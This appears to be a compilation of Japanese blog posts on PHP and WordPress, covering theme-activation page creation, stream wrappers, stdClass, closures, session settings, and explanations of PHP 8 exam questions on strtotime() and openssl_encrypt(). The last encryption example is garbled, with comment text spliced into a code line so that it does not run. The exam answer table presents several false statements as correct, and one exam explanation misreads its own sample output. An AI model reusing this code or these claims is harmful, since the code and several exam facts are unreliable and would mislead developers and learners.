以下のようなコードをfunctions.phpに書いておくと、テーマを有効化したタイミングで指定の固定ページが自動生成されます。


function mytheme_create_pages_on_activation() {
    // 例: about というスラッグの固定ページがなければ生成
    if ( ! get_page_by_path( 'about' ) ) {
        wp_insert_post( array(
            'post_type'    => 'page',
            'post_title'   => 'About',
            'post_name'    => 'about',
            'post_status'  => 'publish',
            'post_content' => 'ここにAboutページの内容を書くことができます。',
        ) );
    }
}
add_action( 'after_switch_theme', 'mytheme_create_pages_on_activation' );

この方法のメリット

  • テーマをインストールして有効化するだけで、管理画面からのページ作成操作が不要
  • デフォルトのコンテンツを素早く用意できるので、納品直後からすぐにサイトを動かせる

注意点(推奨はプラグインで管理?)

強調しておきたいのは、コンテンツをテーマ側に含めると、テーマを切り替えたときに不要なページが再生成されたり、逆にコンテンツがなくなったりする可能性があることです。 そのため、推奨は別途プラグインを用意して「固定ページの生成」を実装し、テーマは見た目や機能のみに専念させる方法です。 小規模サイトなど「テーマを切り替えない前提」であれば、テーマにまとめてしまうのも実務ではよく行われます。


まとめ

  • テーマ有効化フック(after_switch_theme)でwp_insert_post()を呼び出し、固定ページを自動生成できる
  • 管理画面操作を省けるので納品時や初期設定で便利
  • 将来的なテーマ切り替えを考慮するなら、プラグインでの実装がより望ましい
【PHP】プロトコル / ラッパーについて(file:// php:// http:// https://)

file://でローカルファイルにアクセス

ローカルファイルシステムにアクセスするためのラッパです

file:///var/www/html/index.php のような形で指定可能できます。

省略形として単に /var/www/html/index.php としてもOK(デフォルトが file:// なので省略可)

<?php

// 対象のファイルパス。file://を明示的につける
$filePath = 'file:///path/to/test.txt';

// fopen()でファイルを開く
$handle = fopen($filePath, 'r');

if ($handle === false) {
    die('ファイルを開けませんでした。');
}

php://input とは

php://input はHTTPリクエストのボディ部分(生のデータ)を直接読み取るためのストリームです。

ストリーム

「継続的にやり取りされるデータを、順次読み書きするための標準化された抽象インターフェース」です。

ストリームと「一括処理」の対比

観点ストリーム (stream)一括処理 (non-stream)
データの扱い方流れてくるデータを順次読み書きする全データを一度に取得・保持してから処理する
メモリ使用量読む/書く単位が少量ずつなので、比較的少なく済む全体を読み込むため、データが大きいと大量のメモリが必要
実装のイメージfopen()fread() で少しずつ読み進めるfile_get_contents() などで一気に読み込んで、変数へ格納する
処理の開始タイミングデータの先頭から届き次第すぐに処理を始められるデータを全部読み終わってからでないと処理を始めにくい
リアルタイム性高い(受信しながらリアルタイムで対応が可能)低い(全データ揃うのを待つ必要がある)
主な用途大容量、連続データ、ネットワーク通信、ログの逐次処理小~中程度のファイルや一括ダウンロード・一括アップロードなど

    ※ php:// でアクセスしているものは常に「ストリーム」ですが、file_get_contents() はそのストリームを内部で一気に読み込むだけです。ですので「php:// はストリームでありながら、file_get_contents() を使うと一括処理に見える」

    php:// はどういうときに使用される?

    通常のフォーム送信(application/x-www-form-urlencoded や multipart/form-data)であれば $_POST や $_FILES にデータが自動的に格納されますが、JSON形式や独自形式のデータを受け取る場合など、PHPが自動でパースしないデータ形式を扱う際に利用することが多いです。

    http:// https://

    PHPにおける http:// および https:// のストリームラッパーは、リモートサーバー上のファイルやコンテンツを「読み込む」ための仕組み

    読み込み専用であることが多く、標準の方法では fwrite() 等による直接書き込みはできない

    参考サイト

    サポートするプロトコル/ラッパー
    https://www.php.net/manual/ja/wrappers.php

    【PHP】stdClass を使用して(object) でキャスト

    使い勝手のいいstdClassとは

    stdClass は PHP に標準で定義されている「汎用的に使える空のクラス」です。

    自分でクラスを定義せずに使える

    ↓普通のクラス

    class User {
        public $name;
        public $age;
    }
    
    $user = new User();
    $user->name = "Taro";
    $user->age = 20;
    stdClass – クラス定義なしで使える $obj = new stdClass(); $obj->name = “太郎”; $obj->age = 25; // クラス定義不要! ✅ いきなり使える空のクラス

    (object) キャストなどをするだけで自動的に stdClass のインスタンスが生成されます。

    stdClass – (object) キャストで簡単作成 $obj = new stdClass(); $obj = (object) []; // さらに簡単! $obj->name = “太郎”; // どちらでもOK (object) キャストが最も簡単!

    stdClassがよく使用されるケース

    スカラー値や配列を一時的にオブジェクトとしてまとめたいとき(特に定義しなくてもプロパティに値を入れられる

    • たとえばデータを JSON で受け取った際、それをオブジェクト形式でアクセスしたい場合に json_decode() の結果を stdClass にする(第 2 引数に false を指定)など。
    • 配列をわざわざクラスにマッピングするほどではないが、「プロパティとしてアクセスしたほうが都合がいい」ような時。

    メタプログラミングやダイナミックにプロパティを変更したいとき

    通常のクラスだと事前にプロパティを設計しておく必要がありますが、stdClass なら「$obj->hoge = ‘value’」のように後からプロパティを追加できます。

    一般的な開発でそこまで多用されません。

    • データをまとめるなら配列やカスタムクラスのほうが意図が分かりやすい
    • IDE 補完や設計面で、きちんと型を持ったクラスのほうが保守性が高い
    • stdClass はあくまで「何もない空の器」であり、リーダビリティ・可読性が落ちる場合がある

    stdClassと無名クラスの使い分け

    PHP7.0で追加された無名クラスも、stdClassと同様にオブジェクトを作成することもあり、まぎらわしいですが、それぞれの用途や特徴は異なります!

    プロパティの定義方法が異なります。

    stdClass は 動的にプロパティを追加 できるが、無名クラスは事前にプロパティを定義しなければならない。

    $std = new stdClass();
    $std->name = "Taro"; // OK
    
    $anon = new class {};
    $anon->name = "Taro"; // エラー(未定義プロパティへのアクセス)
    特徴stdClass無名クラス
    PHPバージョンすべてのバージョンPHP 7 以降
    メソッド定義できないできる
    コンストラクタなしあり
    用途データの簡易的な保持一時的なクラスの作成
    インスタンス化new stdClass()new class {}

    (object) でキャストすると stdClass に変換される仕組みと一般的な使い方

    PHP で (object) 演算子を使うことで、スカラー値(文字列や数値など)や配列を stdClass オブジェクトへ強制的に変換することができます。この方法は、特定の場面で「配列などをまとめてオブジェクトとして扱いたい」といったケースに活用されます。

    (object) キャストとは?

    「キャスト演算子」とは、変数やリテラルを別の型へ強制的に変換するための文法です。PHP では以下のように使われます。

    $integerValue = (int)$someValue; // 整数型へキャスト 
    $stringValue = (string)$someValue; // 文字列型へキャスト 
    $arrayValue = (array)$someValue; // 配列型へキャスト 
    $objectValue = (object)$someValue; // オブジェクト(stdClass)型へキャスト 

    このうち (object) を使うと、PHP は内部で新たに stdClass インスタンスを生成します。

    スカラー値を (object) でキャストした場合

    文字列や数値などのスカラー値を (object) でキャストすると、以下のように stdClass インスタンスが生成されます。スカラー値は scalar というプロパティに格納されます。

    $value = (object) 'Hello'; 
    var_dump($value); 
    
    /* object(stdClass)#1 (1) {
     ["scalar"]=> string(5) "Hello" } */ 

    このように、キャスト後のオブジェクトは $value-&gt;scalar として元の文字列を参照できます。

    配列を (object) でキャストした場合

    一方、配列を (object) キャストすると、配列のキーがそのままプロパティ名となり、stdClass インスタンスが生成されます。

    $array = ['foo' => 'bar', 'baz' => 123]; 
    $obj = (object) $array; var_dump($obj); 
    
    /* object(stdClass)#1 (2) { ["foo"]=> string(3) "bar" ["baz"]=> int(123) } */ 

    (object) キャストの一般的な使用方法

    • スカラー値や配列を一時的にオブジェクトとして扱いたい場合に使用
    • 動的にプロパティを追加したり、配列のようなデータをあえてオブジェクト形式で操作したいケース
    • メタプログラミングや汎用的なデータオブジェクトを取り扱うとき

    一方で、ほとんどの場面では配列のまま扱った方がシンプルなことも多く、実務で (object) キャストが頻繁に登場するわけではありません。自作のクラスを定義して、明示的にプロパティを設計する方が可読性・保守性ともに高くなることが多いです。

    モダンなPHPコードで使用!無名関数の使い方

    無名関数とは

    名前の通り名前を持たない関数です

    一般的には下記の通り変数に代入する方法で定義します

    PHPの無名関数の基本 $greet = function($name) { return “こんにちは、{$name}さん!”; }; $greet function($name) { return “…”; } 無名関数を変数に格納して後で使用できます

    useキーワードを使用し外部の変数を関数内で使用可能

    無名関数は「クロージャ(閉じる)」とも呼ばれ、関数外部の変数を関数内に持ち運ぶ(閉じ込める)ことができます

    【useキーワード】を使用して外部変数を取り込み

    PHPのクロージャとuseキーワード 外部スコープ $message = “こんにちは” クロージャのスコープ $closure = function() use ($message) { echo $message; }; useで取り込み クロージャは外部スコープの変数を 「use」キーワードで取り込んで使用できます

    PHPで無名関数だけがuseキーワードを使えるのには、言語設計上の理由があります。

    なぜ無名関数だけがuseキーワードを使えるのか

    1. 言語設計の選択 基本的には「そういう設計になっている」というのが第一の理由です。PHPの設計者たちがこのような文法を選んだということになります。しかし、その背景には技術的な理由もあります。
    2. スコープとクロージャの概念 通常の名前付き関数は、定義された時点でグローバルスコープや現在の名前空間に属します。これらの関数は実行時にはそのスコープから独立して動作するよう設計されています。 一方、無名関数(クロージャ)は「関数が定義された環境の状態を取り込む」というクロージャの概念に基づいて設計されています。useキーワードはこの「状態の取り込み」のための構文です。
    3. 実行環境の違い 名前付き関数は定義された時点でコンパイルされ、実行環境から独立します。無名関数は変数に代入され、実行時に評価されるため、実行時の環境(変数など)を取り込むことができます。

    技術的な理由

    PHPエンジン内部での実装上の理由もあります:

    1. 静的解析と実行時解析 名前付き関数は通常、コードがパースされる際に静的に解析されます。この時点では、関数が実際に呼び出される文脈はまだわかりません。 useキーワードはしかし、特定の実行時の変数をキャプチャするものなので、静的に解析される名前付き関数では使用できないように設計されています。
    2. 変数スコープの明確化 PHPでは、名前付き関数内からは自動的にグローバル変数へアクセスできないようになっています($GLOBALSやglobalキーワード経由を除く)。これは意図しない副作用を防ぐための設計です。 useキーワードは、クロージャがアクセスできる外部変数を明示的に宣言するための仕組みであり、この変数スコープの明確化というPHPの設計哲学に沿っています。

    他の言語との比較

    他のプログラミング言語では異なるアプローチを取っているものもあります:

    • JavaScriptでは関数内から自動的に外部スコープの変数にアクセスできます(明示的なキーワードなし)
    • Pythonでも関数内から外部スコープの変数を参照できますが、書き換えは特別な宣言(nonlocal)が必要です
    • Rubyではブロックがレキシカルスコープのどこからでも変数にアクセスできます

    PHPは明示的なスコープを好む設計哲学を持っており、useキーワードはその一環として無名関数に限定されています。

    基本的には言語設計の選択ですが、それにはPHPの変数スコープに関する設計哲学が反映されているのです。

    無名関数はコールバック関数としてよく使用されます

    そもそもコールバック関数とは、別の関数によって「呼び戻される」という意味で、直接呼び出すのではなく、間接的な呼び出しをされます。

    コールバック関数で無名関数を使用すると、コードを書く場所と近い位置に定義できるため、関連するコードがまとまり読みやすくなります

    ※名前付き関数の場合、関数定義がファイルの先頭箇所や、別ファイルの場合もありますからね、、🤷‍♀️

    PHPの無名関数をコールバックとして使用 $numbers = [1, 2, 3, 4, 5]; $doubled = array_map(function($n) { return $n * 2; }, $numbers); // $doubled は [2, 4, 6, 8, 10] になります [1, 2, 3, 4, 5] function($n) { return $n * 2; } [2, 4, 6, 8, 10]
    Cursor 便利な機能まとめ、Project Rules

    デバッグにおいて有効なテクニック

    関数や変数上で右クリックで定義に移動や参照を検索できます。

    実行とデバッグ

    メニューから「実行とデバッグ」を選択

    Project Rules

    cursorアプリケーション画面右上の歯車「Open Cusor Settings」よりCursor Settingsを開きます

    Generalの項目を選択し、「Project Rules」の「+ Add New rule」をクリック

    ➡️ 開いてるプロジェクトフォルダルートに.cursorフォルダが生成されます

    参考:

    https://github.com/Shin-sibainu/shincode-tech-stack-rules/tree/main/.cursor/rules/dev-rules

    PHP セッション名の変更方法と php.ini の記述方法まとめ

    こんにちは。今回は PHP でセッション名を変更する方法と、一般的によく設定する php.ini の項目についてまとめてみます。PHP を運用する上で、セキュリティやパフォーマンスを向上させる設定はとても重要です。ぜひ参考にしてみてください。


    1. PHP のセッション名を変更する理由

    PHP のデフォルトセッション名は PHPSESSID となっています。これは広く知られている名称であり、悪意あるユーザーに PHP を利用していることを悟られやすくなる可能性があります。
    セキュリティ面では “変えることに越したことはない” という位置づけで、以下の方法で簡単に変更できます。


    2. セッション名を変更する方法

    2-1. php.ini ファイルでの変更

    1. php.ini ファイルを開く
      多くの場合、/etc/php.ini/etc/php/7.4/apache2/php.ini などに配置されています。環境に応じて場所が異なるので探してみてください。
    2. session.name の行を探す
      下記のようにデフォルト設定があるはずです。
    session.name = PHPSESSID
    1. 希望する名前に変更する
      例えば、以下のようにして変更できます。
    session.name = MYSESSID

    MYSESSID の部分は自由に決めてOKです。変更したらファイルを保存します。

    1. PHPサービスを再起動
      Apache、Nginx、PHP-FPM などを利用している場合は、再起動が必要です。
    sudo systemctl restart apache2
    1. (上記は Apache の例です。ご利用のサービスに応じてコマンドを変更してください)

    もし php.ini ファイルに session.name の設定が見つからない場合は、新しく追記してください。

    2-2. .htaccess ファイルや PHP スクリプト内での変更

    .htaccess ファイルでも同様に php_value を使って session.name を変更できます。また、PHP のスクリプト内で ini_set() 関数を使って動的に変更する方法もあります。たとえば以下のようにします。

    <?php
    // PHPスクリプト内で変更
    ini_set('session.name', 'MYSESSID');
    session_start();

    php.ini のコメントアウト方法・記述方法について

    1. コメントアウトの方法

    php.ini は INI 形式 で書かれています。コメントアウトには ;(セミコロン) を使います。

    ; これはコメント行です
    ; memory_limit = 128M

    上記のように、行頭をセミコロンで始めると、その行は無視されます。

    ポイント

    • php.ini には “複数行をまとめてコメントアウトする” ための構文はありません。複数行を一括で無効にする場合も、行頭にそれぞれセミコロンを付ける必要があります。

    2. 設定の記述方法

    2-1. 一般的なディレクティブの記述例

    php.ini は 設定項目 = 値 という形式で記述します。たとえば以下のようになります。

    memory_limit = 128M
    max_execution_time = 30
    upload_max_filesize = 2M
    post_max_size = 8M

    2-2. 文字列の囲み方

    文字列を指定する場合は、"(ダブルクオーテーション) で囲むことが推奨されています。たとえば、タイムゾーンを設定するときは以下のように書きます。

    date.timezone = "Asia/Tokyo"
    • ダブルクオートで囲むことで、スペースや特殊文字が含まれる文字列を正しく扱うことができます。
    • シングルクオート('...')でも動作する場合があるものの、公式ドキュメントなどではダブルクオートが一般的に使われています。
    【PHP】関数内でグローバル変数を使用するためには global キーワード

    グローバル変数とは

    プログラム全体やスクリプト全体でアクセス可能。

    ➡️ 多くの場所から更新される可能性があるため、管理が難しい、、

    グローバル変数の定義

    PHP において「変数」をファイルのトップレベル(= 関数やメソッドの外)で定義すると、それはグローバルスコープの変数になります。

    $ で始まる変数が「関数の外」で宣言されていれば、それはグローバル変数です。

    global キーワード

    「global キーワード」は、関数内でグローバルスコープにある変数(通常直接アクセスできない)を参照できるようにするためのキーワードです。

    $counter = 1;
    
    function incrementCounter() {
        global $counter; // グローバル変数を参照
        $counter++;
    }
    
    incrementCounter();
    echo $counter; // 2 を出力
    

    静的変数 (static)

    グローバル変数とは少し異なりますが、関数内で static を使うと、関数を呼び出すたびに値を保持できます。

    function counter() {
        static $count = 0; // 初回のみ 0 に初期化される
        $count++;
        echo $count;
    }
    
    counter(); // 1
    counter(); // 2
    counter(); // 3
    
    【php8上級/準上級試験】模擬問題解説 問題30 strtotime()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 30

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    date_create()
    この関数は次の関数のエイリアスです。 DateTime::__construct()

    strtotime ( string $datetime , int|null $baseTimestamp = null ) : int|false
    この関数は英語の書式での日付を含む文字列が指定されることを期待しており、 baseTimestamp で与えられたその形式から Unix タイムスタンプ (1970 年 1 月 1 日 00:00:00 UTC からの経過秒数) への変換を試みます。 baseTimestamp が指定されていない場合は現在日時に変換します。
    成功時はタイムスタンプ、そうでなければ false を返します。

    time ( ) : int

    date_default_timezone_set ( string $timezoneId ) : bool date_default_timezone_get ( ) : string
    この関数は、デフォルトのタイムゾーンを以下の優先順位で取得して返します。
    ・date_default_timezone_set() 関数を使用して 設定したタイムゾーン (もし何か設定されていれば) を読み込む
    ・date.timezone ini オプション (設定されていれば) を読み込む
    ・上のすべてが失敗した場合は、date_default_timezone_get() はデフォルトのタイムゾーンである UTC を返します。

    date_create() 関数を使うと DateTime クラスのインスタンスが作成できる。

    そのため、以下のコード

    $date_obj = date_create('2021-01-01 11:22:33');
    var_dump($date_obj);

    を実行すると、結果は次のとおりとなる。

    object(DateTime)#1 (3) {
      ["date"]=>
      string(26) "2021-01-01 11:22:33.000000"
      ["timezone_type"]=>
      int(3)
      ["timezone"]=>
      string(3) "UTC"
    }

    問題文の内容は正しい⭕です

    Unixタイムスタンプとは?

    • 1970年1月1日 00:00:00 UTC(協定世界時)からの「経過秒数」
    • 別名で「Epoch time(エポックタイム)

    なぜ「1970年1月1日」が基準なのか?
    → Unixが生まれた時の基準日だから!Unix(ユニックス)というOSが開発されたときに、「時間の起点」を1970年1月1日 00:00:00(UTC)に

    練習「今日 と 入力された日付」で日数差を出すシンプルなWordPressのプラグイン

    • date_create():日付をDateTimeとして扱う
    • strtotime():ショートコードの文字列日付を解析
    • time():現在のUnixタイムと比較して差を取る
    <?php
    function date_diff_shortcode_styles()
    {
        echo '<style>
        .date-diff-message {
            background-color: #f0f8ff;
            border-left: 4px solid #00aaff;
            padding: 10px;
            margin: 10px 0;
            font-size: 16px;
        }
        </style>';
    }
    add_action('wp_head', 'date_diff_shortcode_styles');
    
    function date_diff_from_today_shortcode($atts)
    {
        date_default_timezone_set('Asia/Tokyo');
    
        $atts = shortcode_atts([
            'date' => ''
        ], $atts);
    
        if (empty($atts['date'])) {
            return '<p>日付が指定されていません。</p>';
        }
    
        // 文字列からUnixタイムスタンプへ
        $target_timestamp = strtotime($atts['date']);
        if (!$target_timestamp) {
            return '<p>無効な日付形式です。</p>';
        }
    
        // 現在のUnixタイム
        $now_timestamp = time();
    
        // date_create() 関数で DateTime クラスのインスタンスを作成
        $now = date_create(date('Y-m-d', $now_timestamp));
        $target = date_create(date('Y-m-d', $target_timestamp));
    
        // オブジェクト作成に失敗したらエラー
        if (!$now || !$target) {
            return '<div class="date-diff-message">🚨 日付処理エラー。</div>';
        }
    
        // 日付の差分を取得(正負付きの日数)
        $diff = $now->diff($target);
        $days = (int)$diff->format('%r%a');
    
        // 結果の出力
        if ($days > 0) {
            return "<div class=\"date-diff-message\">📅 あと {$days} 日です。</div>";
        } elseif ($days < 0) {
            return "<div class=\"date-diff-message\">📅 " . abs($days) . " 日前でした。</div>";
        } else {
            return "<div class=\"date-diff-message\">📅 今日です!</div>";
        }
    }
    
    add_shortcode('date_diff_from_today', 'date_diff_from_today_shortcode');
    

    ↓例:[ date_diff_from_today date=”2025-07-01″]

    📅 3 日前でした。

    strtotime() 関数を使うと英文形式の日付を Unix タイムスタンプに変換することが出来る。

    strtotime() は様々な書式を扱う事が出来るため、例えば “2008/6/30″、”30-6-2008″、”30-June 2008″、”July 1st, 2008” などの様々な書式に対応している。

    そのため、以下のコード

    $t = strtotime('July 1st, 2008 4:08:37 pm');
    var_dump($t);
    echo date('Y-m-d H:i:s', $t) , PHP_EOL;
    echo PHP_EOL;
    $t = strtotime('July 1st, 1000 4:08:37 pm');
    var_dump($t);

    を実行すると、結果は次のとおりとなる。

    int(1214928517)
    2008-07-01 16:08:37
    bool(false)

    strtotime()

    strtotime() は 英文形式の日付を Unix タイムスタンプ(1970-01-01 00:00:00 UTC からの秒数)に変換する関数 である。

    PHP の strtotime() は 1970年より前の日時にも対応しているが、対応範囲は OS や PHP のバージョンに依存します。

    1000年の日時が false になるのは環境依存となり、1000年 のように極端に過去の日時は サポートされない場合がある。

    よって問題文は誤り❌です

    time() 関数を使うと現在の Unix タイムスタンプを得る事ができる。

    そのため、以下のコード

    $t = time();
    var_dump($t);

    を実行すると、結果は次のとおりとなる。

    int(1610912345)

    よって選択肢の内容は正しい⭕です

    date_default_timezone_set() 関数を使うとスクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する事ができる。

    また、date_default_timezone_get() 関数を使うとスクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する事ができる。

    そのため、以下のコード

    $t = strtotime('2038-1-19 3:14:8');
    var_dump( date_default_timezone_get() );
    echo date(DATE_ATOM, $t), PHP_EOL;
    echo PHP_EOL;
    
    date_default_timezone_set('Asia/Tokyo');
    var_dump( date_default_timezone_get() );
    echo date(DATE_ATOM, $t), PHP_EOL;

    を実行すると、結果は次のとおりとなる。

    string(3) "UTC"
    2038-01-01T03:14:08+00:00
    
    string(10) "Asia/Tokyo"
    2038-01-01T12:14:08+09:00

    PHP strpos() 関数の動作 0 1 2 3 4 5 6 7 8 9 10 P H P P r o g r a m s 例1: strpos($string, ‘P’) 検索: ‘P’ 最初に見つかる位置: 0 (先頭) 例2: strpos($string, ‘P’, 1) 検索: ‘P’(インデックス1から検索開始) 見つかる位置: 2 (3番目の文字) 注意: if(strpos(…) == false) は先頭 (0) で誤判定!

    この説明に誤りはありません。内容は⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題29 openssl_encrypt() openssl_decrypt()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 29

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    openssl_encrypt ( string $data , string $method , string $key , int $options = 0 , string $iv = “” , string &$tag = NULL , string $aad = “” , int $tag_length = 16 ) : string|false
    openssl_decrypt ( string $data , string $method , string $key , int $options = 0 , string $iv = “” , string $tag = “” , string $aad = “” ) : string|false
    openssl_x509_parse ( mixed $x509cert , bool $shortnames = true ) : array

    openssl_get_cipher_methods() 関数は利用可能な暗号メソッドを取得する。

    そのため、以下のコード

    var_dump( openssl_get_cipher_methods() );

    を実行すると、結果は次のとおりとなる。

    array(201) {
      [0]=>
      string(11) "AES-128-CBC"
      [1]=>
      string(21) "AES-128-CBC-HMAC-SHA1"
      [2]=>
      string(23) "AES-128-CBC-HMAC-SHA256"
    (中略)
      [199]=>
      string(8) "seed-ecb"
      [200]=>
      string(8) "seed-ofb"
    }

    この関数は、現在の環境で利用可能な暗号化アルゴリズム(暗号化方式)の一覧を取得するための関数

    $methods = openssl_get_cipher_methods();
    print_r($methods);
    
    
    出力例(一部):
    Array
    (
        [0] => AES-128-CBC
        [1] => AES-192-CBC
        [2] => AES-256-CBC
        [3] => BF-CBC
        ...
    )

    問題文の内容は正しい⭕です

    openssl_encrypt() 関数はデータを暗号化する。

    そのため、以下のコード

    $method = 'AES-128-CBC';
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($method));
    $crypt = openssl_encrypt('exam', $method, 'key', 0, $iv);
    var_dump( $crypt );

    string(24) “GoaKntvUhPOEl5VS92Uiyg==”
    となる ( initialization vector が random なので、値は実行毎に変わる)。

    なお、例えば CBC のような「initialization vector が必要な暗号利用モード」で initialization vector を指定しないと Warning が出る。

    そのため以下のコード

    $method = 'AES-128-CBC';
    $crypt = openssl_encrypt('exam', $method, 'key', 0);
    var_dump( $crypt );

    を実行すると、結果は次のとおりとなる。

    Warning: openssl_encrypt(): Using an empty Initialization Vector (iv) is potentially insecure and not recommended in …
    string(24) “5kBbn5hweqDYYT6VQjj2ag==”

    openssl_encrypt()関数

    openssl_encrypt()関数はデータを暗号化するために使われます

    各引数の意味

    openssl_encrypt(
        string $data,     // 🔸1. 暗号化するデータ(電話番号など)
        string $cipher_algo, // 🔸2. 使用する暗号方式(AES-256-CBC など)
        string $passphrase,  // 🔸3. 鍵(共通鍵方式の場合は同じ鍵で復号もする)
        int $options = 0,     // 🔸4. オプション(基本は 0 でOK)
        string $iv = "",      // 🔸5. 初期化ベクトル(CBCモードでは必須!)
        string &$tag = null,  // 🔹6. GCM/CCM モード時の認証タグ(CBCでは使わない)
        string $aad = "",     // 🔹7. AAD(追加認証データ、主にGCM用)
        int $tag_length = 16  // 🔹8. 認証タグの長さ(GCM用)
    )

    初期化ベクトル(IV)とは?

    暗号化のとき、毎回違う「スタート地点」や「かく乱種」を与えるデータのこと!

    暗号方式(特に CBC, GCM など)では、同じデータを毎回同じ結果にしちゃうと意味ないから、
    暗号結果を変えるための「ランダムな要素」として使うのが IV(Initialization Vector)!

    暗号化方式としてCBCのようなIV(初期化ベクトル)が必要なモードを使用する場合、IVを指定しないとWarningが表示されます

    CBC以外の暗号化モード

    PHPで選ぶなら

    条件モード理由
    手軽に暗号化したい(ログ用など)CBCPHPの定番、実装楽ちん
    高セキュリティ(改ざんNG)GCM認証付き、安全性◎
    古い記事を見てなんとなく使ってるCBC多くのチュートリアルがCBC前提
    パターンがバレたらヤバい情報GCMECBは論外、CBC/GCMどちらかにして

    よって選択肢の内容は正しい⭕です

    実際のopenssl_encrypt()使用例

    // 暗号化に使用する共通鍵(32文字:AES-256-CBC 用)
    // ※セキュリティの観点から、実際は .env ファイルなどから取得するのがベスト!
    $key = 'your-32-char-secret-key-123456789012';
    $cipher = 'AES-256-CBC'; // 使用する暗号方式。ここでは AES-256-CBC を使用。
    
    // 電話番号が存在する場合のみ暗号化処理を行う
    if (isset($post_data['tel'])) {
        // 初期化ベクトル(IV)を暗号方式に合わせてランダムに生成
        $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
    
        // 電話番号を暗号化。戻り値は base64 エンコードされていない暗号テキスト
        $encrypted_tel = openssl_encrypt($post_data['tel'], $cipher, $key, 0, $iv);
    
        // IV と暗号化されたデータを `:` で連結し、ログ用に1つの文字列としてまとめる
        // 復号時に両方必要になるため、この形式にしておく
        $post_data['tel'] = base64_encode($iv):IVはバイナリなので、そのままではログ出力に不向き。Base64化がベター。
    
    ':' 区切り:復号するときに explode(':', $data) で IV と暗号文を分離しやすくなる。e($iv) . ':' . $encrypted_tel;
    }
    
    // ログ出力:URL、暗号化済みの POST データ、エラー内容を JSON 形式で出力
    // 電話番号は暗号化されているため、ログから個人情報が漏れる心配がない
    error_log('ReCaptcha CURL Error: ' . json_encode([
        'url' => $url,
        'post_data' => $post_data,
        'error' => $error,
    ]));
    

